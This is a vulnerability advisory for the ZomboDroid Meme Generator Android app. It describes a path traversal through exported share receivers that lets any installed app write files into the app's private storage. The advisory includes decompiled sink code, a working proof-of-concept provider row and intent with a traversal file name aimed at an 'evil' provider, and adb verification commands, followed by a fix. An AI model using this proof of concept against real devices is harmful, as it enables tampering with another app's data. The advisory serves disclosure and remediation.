com.zombodroid.MemeGenerator

0
0
0
public

ZomboDroid Meme Generator - Path Traversal | Arbitrary Write via Exported Share Receivers

Vendor ZomboDroid
Product Meme Generator (com.zombodroid.MemeGenerator)
Affected 4.6825 (versionCode 46825), minSdk 23, targetSdk 35
Class CWE-22 Path Traversal (Dirty Stream)
CVSS 3.1 AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N (6.2)
CVE pending

Summary

image

com.zombodroid.MemeGenerator exports four zero-permission ACTION_SEND receivers that accept an image/* content URI and copy it into app-private storage. The destination filename is taken verbatim from the URI’s OpenableColumns.DISPLAY_NAME with no basename strip and no canonicalization, so a _display_name containing ../ writes outside the intended directory. Any installed app can write a file to an attacker-chosen path under /data/data/com.zombodroid.MemeGenerator/ with no permission and no user interaction beyond the receiver launching.

Affected components

Exported, no permission, action.SEND, mimeType="image/*":

  • com.zombodroid.memegen6source.ShareToMemeGen (confirmed end to end)
  • com.zombodroid.breakingnews.ui.ShareToBreakingNews
  • com.zombodroid.collage.ui.ShareToCollage
  • com.zombodroid.demotivateposter.ui.ShareToDemotivatePoster

Sink: t5.l.c(Uri, File, Activity), also reachable via com.zombodroid.help.FileHelperV2 from com.zombodroid.combiner.CombineEditorActivity.f1(Uri, boolean).

Details

Release dex, 4.6825:

ShareToMemeGen.G0(Uri uri):
    dir = M5.f.x(activity)               // getFilesDir() + "/customMemeImages"
    return t5.l.d(uri, dir.getAbsolutePath(), activity)

t5.l.d(uri, dirPath, act):
    new File(dirPath).mkdirs()
    return t5.l.c(uri, new File(dirPath), act)

t5.l.c(Uri uri, File dir, Activity act):
    name = t5.l.o(uri, act)              // raw _display_name
    f    = new File(dir, name)           // no basename, no canonical, no prefix
    out  = new FileOutputStream(f)       // attacker content
    return f.getAbsolutePath()

t5.l.o(uri, act):
    name = cursor.getString(cursor.getColumnIndex("_display_name"))   // RAW
    return t5.l.m(name, fallback, ext)   // m() keeps name verbatim when it ends in
                                         // png/jpg/jpeg/gif/webp/bmp

The basename strip t5.l.r() (substring(lastIndexOf('/') + 1)) is applied to the fallback only, never to _display_name. There is no counter prefix.

base          = /data/data/com.zombodroid.MemeGenerator/files/customMemeImages
_display_name = "../<name>.png"  ->  /data/data/com.zombodroid.MemeGenerator/files/<name>.png

Proof of concept

Zero-permission app exports a provider returning a traversal _display_name, then fires ACTION_SEND at the receiver with the provider URI as EXTRA_STREAM.

// provider query row (".png" keeps t5.l.a() true, name kept verbatim)
c.addRow(new Object[]{ "../ACTUATOR_POC_" + sig + ".png", (long) payload.length });
Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.zombodroid.MemeGenerator",
               "com.zombodroid.memegen6source.ShareToMemeGen");
i.setType("image/png");
i.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://com.poc.dirtystream.evil/files/" + sig));
i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(i);
adb shell am start -n com.poc.dirtystream/.MainActivity
adb shell su -c 'cat /data/data/com.zombodroid.MemeGenerator/files/ACTUATOR_POC_<sig>.png'

Result: the file lands at /data/data/com.zombodroid.MemeGenerator/files/ACTUATOR_POC_<sig>.png, outside the customMemeImages directory the app selected, owned by the Meme Generator UID, containing the attacker-supplied bytes.

Remediation

Strip the path before building the destination file:

File f = new File(dir, name).getCanonicalFile();
if (!f.getCanonicalPath().startsWith(dir.getCanonicalFile().getPath() + File.separator)) {
    throw new SecurityException("path traversal");
}

Apply to t5.l.c and FileHelperV2; route _display_name through the existing t5.l.r() strip.

v0.3.3[beta]